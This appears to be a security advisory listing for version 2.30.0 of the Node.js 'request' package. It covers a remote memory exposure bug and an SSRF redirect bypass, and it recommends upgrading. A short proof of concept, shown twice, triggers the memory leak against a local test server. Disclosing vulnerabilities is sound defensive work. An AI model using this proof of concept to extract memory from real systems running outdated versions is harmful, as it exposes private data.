NodeJS/request/2.30.0

Remote Memory Exposure in request

Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.

Proof of Concept

var request = require('request');
var http = require('http');

var serveFunction = function (req, res){
    req.on('data', function (data) {
            console.log(data)
        });
    res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);

request({
    method: "POST",
    uri: 'http://localhost:8000',
    multipart: [{body:500}]
},function(err,res,body){});

Recommendation

Update to version 2.68.0 or later

Server-Side Request Forgery in Request

The request package through 2.88.2 for Node.js and the @cypress/request package prior to 3.0.0 allow a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: The request package is no longer supported by the maintainer.

Remote Memory Exposure

Request is an http client.

If a request is made using multipart, and the body type is a number, then the specified number of non-zero memory is passed in the body.

Example to reproduce: ``` var request = require('request'); var http = require('http');

var serveFunction = function (req, res){ req.on('data', function (data) { console.log(data) }); res.end(); }; var server = http.createServer(serveFunction); server.listen(8000);

request({ method: POST, uri: 'http://localhost:8000', multipart: [{body:500}] },function(err,res,body){}); ```
